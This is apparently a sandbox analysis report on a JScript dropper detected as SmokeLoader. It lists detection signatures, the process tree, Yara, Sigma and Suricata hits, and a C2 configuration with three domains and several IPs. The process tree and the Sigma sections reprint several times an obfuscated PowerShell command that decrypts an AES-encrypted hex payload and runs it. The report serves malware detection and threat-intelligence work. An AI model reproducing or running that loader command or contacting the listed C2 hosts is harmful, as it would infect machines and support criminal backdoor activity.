Edit tour

Windows Analysis Report
#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js

Overview

General Information

Sample name:	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js renamed because original name is a hash value
Original sample name:	-i i.js
Analysis ID:	1577215
MD5:	f0f21a53585ee70adbe6004636da53f4
SHA1:	8123ab7729d5c1a339af4e5f6c93b68e1acdfaf4
SHA256:	292bda20c71cc52f49c84f40160d5747ed2c6ab24ce7a027d2808888438b93a6
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5512 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 4540 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7288 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7720 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1740,i,7611697812648605537,3973104547024125911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

putty.exe (PID: 8072 cmdline: "C:\Users\user\AppData\Roaming\putty.exe" MD5: C09AA26230A2083DA9032866FD33703D)

explorer.exe (PID: 2592 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

svchost.exe (PID: 7540 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

therfaa (PID: 4252 cmdline: C:\Users\user\AppData\Roaming\therfaa MD5: C09AA26230A2083DA9032866FD33703D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000003.1407211942.0000000000500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000015.00000003.1692068862.0000000000730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.1743424076.0000000000720000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11d89:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000015.00000002.1743203501.0000000000540000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11d89:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: powershell.exe PID: 4540	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x7d036:$b1: ::WriteAllBytes( 0x7d69c:$b1: ::WriteAllBytes( 0x1b4ef:$s1: -join 0x1be9a:$s1: -join 0x1c6f5:$s1: -join 0x2bf89:$s1: -join 0x312de:$s1: -join 0x4b825:$s1: -join 0x4c080:$s1: -join 0x64111:$s1: -join 0x6c413:$s1: -join 0x91b2b:$s1: -join 0xb38a3:$s1: -join 0xb4003:$s1: -join 0xd0d2c:$s1: -join 0xd256f:$s1: -join 0xdf771:$s1: -join 0xe12b9:$s1: -join 0xe1445:$s1: -join 0xe4bfa:$s1: -join 0x102b26:$s1: -join
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
14.2.putty.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.therfaa.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.3.therfaa.730000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
14.2.putty.exe.4f0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.therfaa.720e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
14.3.putty.exe.500000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js", ProcessId: 5512, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA4

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\therfaa, CommandLine: C:\Users\user\AppData\Roaming\therfaa, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\therfaa, NewProcessName: C:\Users\user\AppData\Roaming\therfaa, OriginalFileName: C:\Users\user\AppData\Roaming\therfaa, ParentCommandLine: , ParentImage: , ParentProcessId: 1060, ProcessCommandLine: C:\Users\user\AppData\Roaming\therfaa, ProcessId: 4252, ProcessName: therfaa

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4540, TargetFilename: C:\Users\user\AppData\Roaming\putty.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js", ProcessId: 5512, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA4

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA4

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7540, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:22:22.734924+0100	2039103	1	A Network Trojan was detected	192.168.2.11	49796	94.156.177.51	80	TCP
2024-12-18T09:22:24.734755+0100	2039103	1	A Network Trojan was detected	192.168.2.11	49802	94.156.177.51	80	TCP
2024-12-18T09:22:47.605253+0100	2039103	1	A Network Trojan was detected	192.168.2.11	49808	109.70.26.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:21:50.601191+0100	2803305	3	Unknown Traffic	192.168.2.11	49706	94.156.177.51	80	TCP

